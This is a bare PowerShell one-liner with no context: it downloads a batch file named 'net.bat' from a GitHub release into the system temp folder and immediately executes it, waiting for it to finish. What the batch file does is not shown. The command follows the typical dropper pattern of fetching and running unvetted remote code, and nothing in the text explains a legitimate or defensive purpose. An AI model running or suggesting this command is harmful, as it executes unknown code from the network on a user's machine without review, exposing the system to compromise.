$url = "https://github.com/kirumipat/skripts/releases/download/0.0.1/net.bat"; $tempFolder = [System.IO.Path]::GetTempPath(); $filePath = Join-Path -Path $tempFolder -ChildPath "net.bat"; Invoke-WebRequest -Uri $url -OutFile $filePath; Start-Process -FilePath $filePath -Wait